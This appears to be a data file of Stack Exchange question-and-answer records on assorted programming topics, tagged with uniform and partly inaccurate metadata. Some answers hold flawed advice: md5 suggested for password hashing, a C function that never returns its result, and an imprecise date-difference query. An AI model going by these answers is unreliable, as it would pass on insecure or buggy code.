it. Not ideal, but it might be a stopgap.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.514667"}
{"id": "hf_45352d59e177", "question": "<p>I have to simultaneously load data into a table and run queries on it. Because of data nature, I can trade integrity for performance. How can I minimize the overhead of transactions?</p>\n\n<p>Unfortunately, alternatives like MySQL cannot be used (due to non-technical reasons). </p>\n", "question_body": "", "answer": "You want transaction isolation read uncommitted. I don't recommend it but that's what you asked for :)\nThis will allow you to breach transaction isolation and read uncommitted inserted data.\nPlease read this Ask Tom article:\nhttp://www.oracle.com/technology/oramag/oracle/05-nov/o65asktom.html\n.\nUPDATE: I was actually mistaking, Oracle doesn't really support read uncommitted isolation level, they just mention it :).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.560842"}
{"id": "hf_295c852f6164", "question": "<p>What is the best way to tokenize/split a NSString in Objective-C?</p>\n", "question_body": "", "answer": "Found answer\nhere\n:\n```\n```\nNSString *string = @\"oop:ack:bork:greeble:ponies\";\nNSArray *chunks = [string componentsSeparatedByString: @\":\"];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.587479"}
{"id": "hf_a3cb8de8434a", "question": "<p>Consider the following file</p>\n\n<pre><code>var1 var2 variable3\n1     2    3\n11    22   33\n</code></pre>\n\n<p>I would like to load the numbers into a matrix, and the column titles into a variable that would be equivalent to:</p>\n\n<pre><code>variable_names = char('var1', 'var2', 'variable3');\n</code></pre>\n\n<p>I don't mind to split the names and the numbers in two files, however preparing matlab code files and eval'ing them is not an option. </p>\n\n<p>Note that there can be an arbitrary number of variables (columns)</p>\n", "question_body": "", "answer": "Just use textscan with different format specifiers.\n```\n```\nfid = fopen(filename,'r');\nheading = textscan(fid,'%s %s %s',1);\nfgetl(fid); %advance the file pointer one line\ndata = textscan(fid,'%n %n %n');%read the rest of the data\nfclose(fid);\n```\n```\nIn this case 'heading' will be a cell array containing cells with each column heading inside, so you will have to change them into cell array of strings or whatever it is that you want. 'data' will be a cell array containing a numeric array for each column that you read, so you will have to cat them together to make one matrix.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.622065"}
{"id": "hf_e6d49a742763", "question": "<p>Is there a way to <strong>increase the font-size</strong> in the Firefox extension Firebug?</p>\n", "question_body": "", "answer": "Right click on the bug icon in the status bar.\nSelect \"Open Firebug in New Window\"\nSelect \"View\" > \"Text Size\" > \"Increase Text Size\"\nThe changes should stick if you revert back to opening Firebug in the same window.\nUpdate\nIn new versions you can simply click on the bug icon in the code navigator and choose 'Text size'.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.674141"}
{"id": "hf_1ac3b6084ccf", "question": "<p>If I have a query to return all matching entries in a DB that have \"news\" in the searchable column (i.e. <code>SELECT * FROM table WHERE column LIKE %news%</code>), and one particular row has an entry starting with \"In recent World news, Somalia was invaded by ...\", can I return a specific \"chunk\" of an SQL entry? Kind of like a teaser, if you will.</p>\n", "question_body": "", "answer": "You can use substring function in a SELECT part. Something like:\n```\n```\nSELECT SUBSTRING(column, 1,20) FROM table WHERE column LIKE %news%\n```\n```\nThis will return the first 20 characters from column\ncolumn", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.698053"}
{"id": "hf_76a0d423e1ad", "question": "<p>I want to display from cache for a long time and I want a slightly different behavior on page render vs loading the page from cache.  Is there an easy way I can determine this with JavaScript?</p>\n", "question_body": "", "answer": "One way you could do it is to include the time the page was generated in the page and then use some javascript to compare the local time to the time the page was generated.  If the time is different by a threshold then the page has come from a cache.  The problem with that is if the client machine has its time set incorrectly, although you could get around this by making the client include its current system time in the request to generate the page and then send that value back to the client.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.745310"}
{"id": "hf_4fa9420f4d7b", "question": "<p>I have a project to recognize the footprint of animals. It is similar to facial recognition.<br>\nThere is a need to store footprint images in a database and compare them with images captured by camera.</p>\n\n<p>What is the appropriate programming language to do this?</p>\n", "question_body": "", "answer": "I think the question is rather how you represent the data and determine likeness/sameness/distance measuring rather than an implementation language.\nLisp is a strong candidate, as is C/C++ - but really you are probably better off with whatever language you/your team knows best.\nAgain, figure out the data representation first.\nAlso - find another imaging/matching solution out there.  There are already ones for license plates, fingerprint, etc - and maybe just use that source.  The roblem is mostly solved...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.780688"}
{"id": "hf_674a036a1a5d", "question": "<p>I'd like to create a popup dialog box in silverlight  in which i can manipulate controls, enter data, and return a value. I want it to be modal, so that when it is open, the page \"Below\" is inaccessible. I havent found an easy way to do this yet. Any suggestions?</p>\n", "question_body": "", "answer": "I haven't found a perfect solution either. The closest I have seen is this:\nUsing Popup to create a Dialog class\nIf it is ok to be non-modal, you can try this tip using HtmlPage.PopupWindow().\nHow to Popup a Browser Window", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.831076"}
{"id": "hf_59ad8e7d95c9", "question": "<p>I'll preface this by saying I'm a C# programmer who inherited horrible code with no documentation.  I have an unmanaged C++ library wrapped with managed code that worked fine in VS2003 with .Net 1.1 Framework.  I'm trying to get it upgraded to at least .Net 2.0.</p>\n\n<p>I have the unmanaged C++ library that was compiled with \"MSVC 8.x\" (thus equivalent to VS 2005, I assume).  I've been trying to migrate everything to VS2008 and still have some issues with this library at runtime.</p>\n\n<p>My question is this: should this library work with VS2008?  Or should I be developing in VS2005 if the library was compiled with VC8.x?</p>\n\n<p>Any thoughts would be greatly appreciated.  Thanks!</p>\n", "question_body": "", "answer": "It should work, I expect that you are having issues with your marshalling. It is probably stuff that was declared incorrectly for PInvoking that managed to work in .NET 1.1 but not in later versions.\nYou don't say what sort of problems you are having at run time, nor do you state how you access your library. For example, do you compile your library along with your project? If so, can you turn on unmanaged debugging in your C# project and step into the code you are having trouble with? How are you calling the unmanaged code? Is it through PInvoke, or do you have managed C++ wrappers?\nIn my experience, the best solution for calling out to a legacy unmanaged library is to add a managed wrapper library for your legacy library written in managed C++. This way you present a managed interface for your library for all .NET languages to consume and you don't have to worry about getting your PInvoke signatures correct.\nYour project should look something like this.\nC# Application -> Manage C++ Wrapper DLL -> Legacy DLL", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.878273"}
{"id": "hf_ed83fe40f6e9", "question": "<p>I'm not a designer, so I'm looking for some free WPF themes.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "The only one that I have found (for sale) is\nreuxables\n. A little pricey, if you ask me, but you do get 9 themes/61 variations.\nUPDATE 1:\nA WPF Contrib project ... which does have 1\ntheme\nthat they never released.\nUPDATE 2:\nRudi Grobler (above) just created CodePlex\ncommunity\nfor this ... starting with converted themes he mentions above. See his blog\npost\nfor more info. Way to go Rudi!\nUPDATE 3:\nAs another answer below has mentioned, since this question and my answer were written, the WPF Toolkit has incorporated some free\nthemes\n, in particular, the themes from the Silverlight Toolkit. Rudi's\nproject\ngoes a little further and adds several more ... but depending on your situation, the WPF Toolkit might be all you need (and you might be installing it already).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.901978"}
{"id": "hf_790b40be8540", "question": "<p>You'll have to forgive my ignorance, but I'm not used to using wide character sets in c++, but is there a way that I can use wide string literals in c++ without putting an L in front of each literal?</p>\n\n<p>If so, how?</p>\n", "question_body": "", "answer": "Why do you not want to prefix string literals with an L?  It's quite simple - strings without an L are ANSI strings (\n```\nconst char*\n```\n), strings with an L are wide-character strings (\n```\nconst wchar_t*\n```\n).  There is the\n```\nTEXT()\n```\nmacro, which makes a string literal into an ANSI or a wide-character string depending on of the current project is set to use Uncode:\n```\n```\n#ifdef UNICODE\n#define TEXT(s) L ## s\n#else\n#define TEXT(s) s\n#endif\n```\n```\nThere's also the\n```\n_T()\n```\nmacro, which is equivalent to\n```\nTEXT()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.937805"}
{"id": "hf_de71af520ac4", "question": "<p>I would like to set up some WMV Video Streaming, using Windows 2003's Streaming Media Server and Silverlight.</p>\n\n<p>Now, unfortunately Silverlight only supports HTTP, which means that people can just download the videos. While that in itself is not a problem, I wonder what options there are to prevent them being playable outside of the network.</p>\n\n<p>Of course, DRM comes into mind. Is there an easy way to get it and set it up? I do not want to have some complicated User-Scheme, it essentially boils down to \"If you can reach the server (which is only in the internal network), you get a license, otherwise not\".</p>\n\n<p>Any experience with WMV DRM or Content Protection in that area?\nWhat would I need on top of Windows 2003 Server and Silverlight 2?</p>\n", "question_body": "", "answer": "DRM is a negative sum game.  You lose money and time in implementing it that you could have spent on something useful to your users, and your content becomes less valuable to your users.  It is also impossible to implement effectively.  I'm not going to address any specific DRM scheme, but the core of the argument is that in order to show content to the user, the user's computer must be able to decrypt it.  Therefore, the decryption code, and the decryption keys, must be present on the user's computer.  Encryption can only protect data from interception and tampering between two secure endpoints.  If one of the endpoints is compromised (and you are assuming this in your distrust of the user), then cryptographic techniques are useless.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:05.973862"}
{"id": "hf_c64f2b5dcce1", "question": "<p>I have a short preliminary interview with Microsoft in less than 2 hours.\nI've been told that they might ask questions in Java and/or C++.\nWhere can I find a quick overview of both languages?\nI don't need to full tutorial, just something that goes over the language-specific features and a refresher of the semantics.\nI also only have 1.5 hours to study so...\nAny ideas?</p>\n\n<p>Thx!</p>\n", "question_body": "", "answer": "An hour and a half is a bit fast to learn a language. You can try Wikipedia, but you may want to avoid discussion of either language if you don't know them. Instead focus on the languages you do know. Learning a new language is not difficult, but you shouldn't try to rush it and then sound like you know more than you do. They'll figure that one out pretty quickly, and it will be worse if you don't admit your lack of knowledge. We had someone who tried that with my company, and he lasted less than a week.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.046192"}
{"id": "hf_214242c18f0e", "question": "<p>I have a query in which I am pulling the runtime of an executable. The database contains its start time and its end time. I would like to get the total time for the run.\nSo far I have:</p>\n\n<pre><code>SELECT startTime, endTime,\ncast(datediff(hh,starttime,endtime) as varchar)\n+':'\n+cast(datediff(mi,starttime,endtime)-60*datediff(hh,starttime,endtime) as varchar) AS RUNTIME\nFROM applog\nWHERE runID = 33871\nORDER BY startTime DESC \n</code></pre>\n\n<p>When I execute this I get expected values and also some unexpected.\nFor example, if starttime = 2008-11-02 15:59:59.790 and endtime = 2008-11-02 19:05:41.857 then the runtime is = 4:-54.\nHow do I get a quere in MS SQL SMS to return the value 3:06 for this case?</p>\n\n<p>Thanks.</p>\n\n<p>Eoin Campbell's I selected as the answer is the most bulletproof for my needs. David B's is do-able as well.</p>\n", "question_body": "", "answer": "Here's\na way to do it:\n```\n```\n-- Find Hours, Minutes and Seconds in between two datetime\nDECLARE @First datetime\nDECLARE @Second datetime\nSET @First = '04/02/2008 05:23:22'\nSET @Second = getdate()\n\nSELECT DATEDIFF(day,@First,@Second)*24 as TotalHours,\nDATEDIFF(day,@First,@Second)*24*60 as TotalMinutes,\nDATEDIFF(day,@First,@Second)*24*60*60 as TotalSeconds\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.093718"}
{"id": "hf_0107723b67ea", "question": "<p>I'm using jQuery and wanting to target the nth &lt;li&gt; in a list after clicking the nth link.</p>\n\n<pre><code>&lt;ul id=\"targetedArea\"&gt;\n  &lt;li&gt;&lt;/li&gt;\n  &lt;li&gt;&lt;/li&gt;\n  &lt;li&gt;&lt;/li&gt;\n  &lt;li&gt;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;div id=\"clickedItems\"&gt;\n  &lt;a&gt;&lt;/a&gt;\n  &lt;a&gt;&lt;/a&gt;\n  &lt;a&gt;&lt;/a&gt;\n  &lt;a&gt;&lt;/a&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>I can target them individually, but I know there must be a faster way by passing which &lt;a&gt; element I clicked on.</p>\n\n<pre><code>$(\"#clickedItem a:eq(2)\").click(function() {\n  $(\"#targetedArea:eq(2)\").addClass('active');\n  return false;\n});\n</code></pre>\n\n<p>Cheers,<br />\nSteve </p>\n", "question_body": "", "answer": "how about something like this:\n```\n```\n$('#clickedItems a').click(function() {\n// figure out what position this element is in\n   var n = $('#clickedItems a').index($(this) );\n// update the targetedArea\n   $('#targetedArea li:eq('+n+')').html('updated!');\n   return false;\n});\n```\n```\nassuming a 1:1 relationship between your\n```\n<a>\n```\nand\n```\n<li>\n```\nelements it will update the appropriate\n```\n<li>\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.128838"}
{"id": "hf_897fad106b3d", "question": "<p>How can i draw a dotted line in .NET/WinForms/GDI+?</p>\n\n<pre><code>Pen p = new Pen (Color.Black) \n</code></pre>\n\n<p>gives me only solid line pen. </p>\n\n<p>I am trying to have a dotted (or dashed) lines; can't seem to be able to google it up successfully.</p>\n\n<p>Will much appreciate any help on this one.</p>\n", "question_body": "", "answer": "```\n```\np.DashStyle = DashStyle.Dash;\n```\n```\nI believe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.156001"}
{"id": "hf_848c6b0f17f1", "question": "<p>I want to select records that are 1 month old or newer.</p>\n\n<p>The query is: SELECT * FROM foobar WHERE created_at > DATE_SUB(curdate(), INTERVAL 1 MONTH)</p>\n\n<p>Using Propel in Symfony, I do:</p>\n\n<blockquote>\n  <p>$c = new Criteria<br>\n  $c->add(FoobarPeer::CREATED_AT, \"DATE_SUB(curdate(), INTERVAL 1 MONTH)\", Criteria::GREATER_THAN);  </p>\n</blockquote>\n\n<p>What Propel generates is: SELECT * FROM foobar WHERE created_at > 'DATE_SUB(curdate(), INTERVAL 1 MONTH)' - in other words, it puts the MySQL function in single quotes, which makes it a (meaningless) string and I get no records.</p>\n\n<p>What I've done for now is:</p>\n\n<blockquote>\n  <p>$c->add(FoobarPeer::CREATED_AT, \"created_at > DATE_SUB(curdate(), INTERVAL 1 MONTH)\", Criteria::CUSTOM);  </p>\n</blockquote>\n\n<p>But I don't want to use custom workarounds unless I have to. Any hints besides using Criteria::CUSTOM?</p>\n", "question_body": "", "answer": "I think there is no option more than using Criteria::CUSTOM or doing a custom SQL query like this:\n```\n```\n$con = Propel::getConnection(DATABASE_NAME);\n\n$sql = \"SELECT foobar.* FROM foobar WHERE created_at > DATE_SUB(curdate(), INTERVAL 1 MONTH)\";  \n$stmt = $con->prepare($sql);\n$stmt->execute();\n\n$books = FoobarPeer::populateObjects($stmt);\n```\n```\nThat's because Propel tries to be DBMS-agnostic, to help migration by doing a simple configuration value change, so it doesn't have any DBMS specific functions built in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.179954"}
{"id": "hf_6419fcfb2cea", "question": "<p>I know that php has md5(), sha1(), and the hash() functions, but I want to create a hash using the MySQL PASSWORD() function.  So far, the only way I can think of is to just query the server, but I want a function (preferably in php or Perl) that will do the same thing without querying MySQL at all.</p>\n\n<p>For example:</p>\n\n<p>MySQL hash -> 464bb2cb3cf18b66</p>\n\n<p>MySQL5 hash -> *01D01F5CA7CA8BA771E03F4AC55EC73C11EFA229</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Why do you want to use mysql password() function?\nEven the Mysql documentation advises against this:\nhttp://dev.mysql.com/doc/refman/5.0/en/encryption-functions.html#function_password\nThe PASSWORD() function is used by the authentication system in MySQL Server; you should not use it in your own applications\nYou can use md5() for example, wich is present in almost every programming language, php and perl included.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.228740"}
{"id": "hf_6561252f1d86", "question": "<p>A little example</p>\n\n<pre><code>TTest&lt;T&gt; = class\nprivate\n  f : T;\npublic\n  function ToString : string;\nend;\n</code></pre>\n\n<p>If  is an object then this should work</p>\n\n<pre><code>TTest&lt;T&gt;.ToString;\nbegin\n  Result := f.ToString;\nend;\n</code></pre>\n\n<p>But what happens when  is say an integer? This would be ok in .net. of course.</p>\n\n<p>I know it won't work, but how do I code this to work with objects AND simple types?</p>\n", "question_body": "", "answer": "The last example will not work. You need to add a constraint in order to use methods. In this case TObject will be enough:\n```\n```\nTTest<T: TObject>.ToString;\nbegin\n  Result := T.ToString;\nend;\n```\n```\nYou can use simple types with unrestrained generics, but you are very limited in the use. Because the only valid operations are assignment and comparison (equal and not equal).\nIn Delphi simple types are no classes, so they don't have methods.\nBut you can do the following:\n```\n```\ntype\n  TToString<T> = reference to function(const AValue: T): string;\n  TGenContainer<T> = class\n  private\n    FValue: T;\n    FToString : TToString<T>;\n  public\n    constructor Create(const AToString: TToString<T>);\n\n    function ToString: string;\n\n    property Value: T read FValue write FValue;\n  end;\n\nconstructor TGenContainer<T>.Create(const AToString: TToString<T>);\nbegin\n  FToString := AToString;\nend;\n\nfunction TGenContainer<T>.ToString: string;\nbegin\n  Result := FToString(FValue);\nend;\n\nprocedure TForm2.Button1Click(Sender: TObject);\nvar\n  gen : TGenContainer<Integer>;\nbegin\n  gen := TGenContainer<Integer>.Create(\n    function(const AValue: Integer): string\n    begin\n      Result := IntToStr(AValue);\n    end);\n  try\n    gen.Value := 17;\n    Memo1.Lines.Add(gen.ToString);\n  finally\n    gen.Free;\n  end;\nend;\n```\n```\nThis works fine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.265161"}
{"id": "hf_90ba54fbd976", "question": "<p>I'm writing a simple C++ class in which I would like cache picture thumbnails versions of images downloaded from the web.  As such, I would like to use a hash function which takes in URL strings and outputs a unique string suitable as a filename.</p>\n\n<p>Is there a simple way to do this without re-writing the function myself?  I searched around for a simple library, but couldn't find anything.  Surely this is a common problem.</p>\n", "question_body": "", "answer": "A simpler approach is to replace everything which is not a character or a number with an underscore.\nEDIT: Here's a naive implementation in C:\n```\n```\n#include <cctype>\n\nchar *safe_url(const char *str) {\n    char *safe = strdup(str);\n    for (int i = 0; i < strlen(str); i++) {\n        if (isalpha(str[i]))\n            safe[i] = str[i];\n        else\n            safe[i] = '_';\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.290033"}
{"id": "hf_c2c622d2de7c", "question": "<p>Is anyone using the OSGi Bundle Repository and what for?</p>\n", "question_body": "", "answer": "I am using it!\nWhen you develop an osgi bundle and the target platform doesn't include the libraries (jar/bundle) your bundle relies on, it needs to added to the target platform. you could either repackage your jar to make it an osgi bundle or just download the bundle from the OBR.\nEclipse also provides an OBR call\nOrbit\n, and springsource one is called\nEnterprise Bundle Repository\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.314514"}
{"id": "hf_78ef230d93bb", "question": "<p>For reference, this would be for Visual Studio 2008 with a fair amount of WinForms working with the VS Designer.</p>\n\n<p>Given the same price bracket, would there be certain specs you look for in a development rig vs what one would get for a gaming machine?</p>\n\n<p>Edit: The reason I ask is on my laptop that I can run low-mid end games decently on, there's still a fair amount of time redrawing when switching between apps sometimes.(I keep about 20 tabs open average on  a browser and have like 10-15 apps open at a time), and working with the VS designer on things like a TableLayoutPanel takes up to 10-15 seconds for changes and so forth. I'd like a really smooth experience.</p>\n", "question_body": "", "answer": "Any new video card you could buy today would be more than adequate for non-3D software development. In fact whatever integrated video came with your system is fine. The only exception would be for multiple monitor support, in that case you would need to get an extra $50 video card since most (all?) motherboards only have a single monitor output.\nEdit: in response to the edit, the lag you're describing sounds like your machine is out of RAM and is swapping to disk, rather than you being video card limited. You'll want at least 2-3GB of ram in your system if you're running vs2008 plus 20 other applications. That's about the max. you can install if you're running a 32-bit operating system. If you want more than that you'll need to go to a 64-bit OS and you'll need to make sure all your hardware has 64-bit drivers. Also very few laptops out there support more than 4GB of RAM.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.339182"}
{"id": "hf_3c7bd20009cf", "question": "<p>I'm in need of a macro that will enter data into a webpage search field and than copy the results to excel.</p>\n", "question_body": "", "answer": "It's just a simple \"File Open\". No need for a macro.\nExcel can open URLs directly. If the URL contains any tables, those will be formatted appropriately.\nTry this:\nRun Excel\nFile | Open\nType\n```\nhttp://finance.yahoo.com/q?s=MSFT\n```\nas the file name\nIgnore the warning", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.363290"}
{"id": "hf_c921a52f035c", "question": "<p>I've got a canvas that's 800x600 inside a window that's 300x300. When I press a certain key, I want it the canvas to move in that direction.<br>\nI've done this inside the window's code behind:</p>\n\n<pre>\nprotected override void OnKeyDown(KeyEventArgs e)\n{\n    base.OnKeyDown(e);\n    Key keyPressed = e.Key;\n\n    if (keyPressed == Key.W)\n    {\n        gcY += 5;\n    }\n    if (keyPressed == Key.S)\n    {\n        gcY -= 5;\n    }\n    if (keyPressed == Key.A)\n    {\n        gcX += 5;\n    }\n    if (keyPressed == Key.D)\n    {\n        gcX -= 5;\n    }\n\n    gameCanvas.RenderTransform = new TranslateTransform(gcX, gcY);\n}\n</pre>\n\n<p>Well, it works, but the movement is jerky. And if I hold on to a key, <kbd>W</kbd> for instance, then it pauses for a split second, before moving.<br>\nIs there anyway to make the movement smoother and to get rid of the pause when you hold down a key?<br>\nThanks.</p>\n", "question_body": "", "answer": "Yes, you could incorporate the time into your calculation. Currently you add/substract 5 whenever the event fires, and that's not really predictable.\nTo smoothe the movement make sure you don't fire more often than X times per second by using a DateTime.\nlike:\n```\n```\nprivate static DateTime nextUpdate\n\nif (nextUpdate <= DateTime.Now)\n{\n//Move\nnextUpdate = DateTime.Now.AddMilliseconds(100);\n}\n```\n```\nI don't have VS right now, so I'm not perfectly sure for the syntax, but you get the idea.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.426447"}
{"id": "hf_152061ccc22f", "question": "<p>I need to take production data with real customer info (names, address, phone numbers, etc) and move it into a dev environment, but I'd like to remove any semblance of <em>real</em> customer info.</p>\n\n<p>Some of the answers to <a href=\"https://stackoverflow.com/questions/157600/data-generators-for-sql-server\">this question</a> can help me generating NEW test data, but then how do I replace those columns in my production data, but keep the other relevant columns?</p>\n\n<p>Let's say I had a table with 10000 fake names. Should I do a cross-join with a SQL update? Or do something like</p>\n\n<pre><code>UPDATE table\nSET lastname = (SELECT TOP 1 name FROM samplenames ORDER By NEWID())\n</code></pre>\n", "question_body": "", "answer": "Anonymizing data can be tricky and if not done correctly can lead you to trouble, like what happened to\nAOL when they released search data a while back\n. I would attempt to create test data from scratch at all costs before I tried to convert existing customer data. Things may lead you to be able to figure out who the data belonged to using things such as behavioral analysis and other data points that you might not consider sensitive. I would rather be safe than sorry.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.461647"}
{"id": "hf_22e0c00237a3", "question": "<p>Why does this test program result in a <code>java.lang.IllegalMonitorStateException</code>?</p>\n\n<pre><code>public class test {\n    static Integer foo = new Integer(1);\n    public static void main(String[] args) {\n        synchronized(foo) {\n            foo++;\n            foo.notifyAll();\n        }\n        System.err.println(\"Success\");\n    }\n}\n</code></pre>\n\n<p>Result:</p>\n\n<pre><code>Exception in thread \"main\" java.lang.IllegalMonitorStateException\n        at java.lang.Object.notifyAll(Native Method)\n        at test.main(test.java:6)\n</code></pre>\n", "question_body": "", "answer": "You have noted correctly that\n```\nnotifyAll\n```\nmust be called from a synchronized block.\nHowever, in your case, because of auto-boxing, the object you synchronized on is not the same instance that you invoked\n```\nnotifyAll\n```\non. In fact, the new, incremented\n```\nfoo\n```\ninstance is still confined to the stack, and no other threads could possibly be blocked on a\n```\nwait\n```\ncall.\nYou could implement your own, mutable counter on which synchronization is performed. Depending on your application, you might also find that\nAtomicInteger\nmeets your needs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.497973"}
{"id": "hf_b49f117529d7", "question": "<p>I occasionally work on an old project that uses classic asp as a front end and an access database as a backend.</p>\n\n<p>I'd like to create a new column in one of the tables that contains logic to calculate its value from the other columns in the row.</p>\n\n<p>I know how to do this in a more modern DBMS, but I don't think that access supports it. Keep in mind I'm not using the access frontend, just the Jet DB engine via ODBC.</p>\n\n<p>Any pointers?</p>\n", "question_body": "", "answer": "Can you just make a calculated column?\n```\n```\nSELECT Table1.Col_1, Table1.Col_2, [Col_1]*[Col_2] AS Col_3\nFROM Table1;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:06.558200"}
